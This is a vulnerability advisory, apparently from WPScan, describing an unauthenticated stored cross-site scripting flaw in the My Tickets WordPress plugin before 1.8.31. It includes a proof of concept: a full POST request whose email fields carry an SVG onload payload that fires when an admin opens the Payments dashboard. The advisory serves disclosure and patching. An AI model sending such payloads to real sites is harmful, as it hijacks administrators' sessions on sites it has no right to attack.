My Tickets < 1.8.31 - Unauthenticated Stored Cross-Site Scripting

Description

The plugin does not properly sanitise and escape the Email field of booked tickets before outputting it in the Payment admin dashboard, which could allow unauthenticated users to perform Cross-Site Scripting attacks against admins

Proof of Concept

As unauthenticated, book a ticket, fill the purchase form with dummy data and intercept it to change the email address (which is validated client side but not server side) to something like <svg/onload=alert(/XSS/)>



POST /purchase/ HTTP/1.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 413

Origin: http://wp.lab

Connection: close

Cookie: mt_unique_id=-KFPBzwr-0Y2BZ1a

Upgrade-Insecure-Requests: 1



_wpnonce=97e4184df7&mt_gateway=offline&mt_cart_order%5B1950%5D%5Badult%5D%5Bcount%5D=1&mt_cart_order%5B1950%5D%5Badult%5D%5Bprice%5D=1.00&mt_cart_order%5B1950%5D%5Badult%5D%5Borig_price%5D=1&mt_fname=XSS&mt_lname=swd&mt_email=<svg/onload=alert(/XSS/)>&mt_email2=<svg/onload=alert(/XSS/)>&ticketing_method=printable&mt_submit=Review+cart+and+make+payment&my-tickets=true



Then confirm the Reservation. The XSS will be triggered when an admin view the Payments page in the admin dashboard (/wp-admin/edit.php?post_type=mt-payments) 

References

https://wpscan.com/vulnerability/d973dc0f-3cb4-408d-a8b0-01abeb9ef951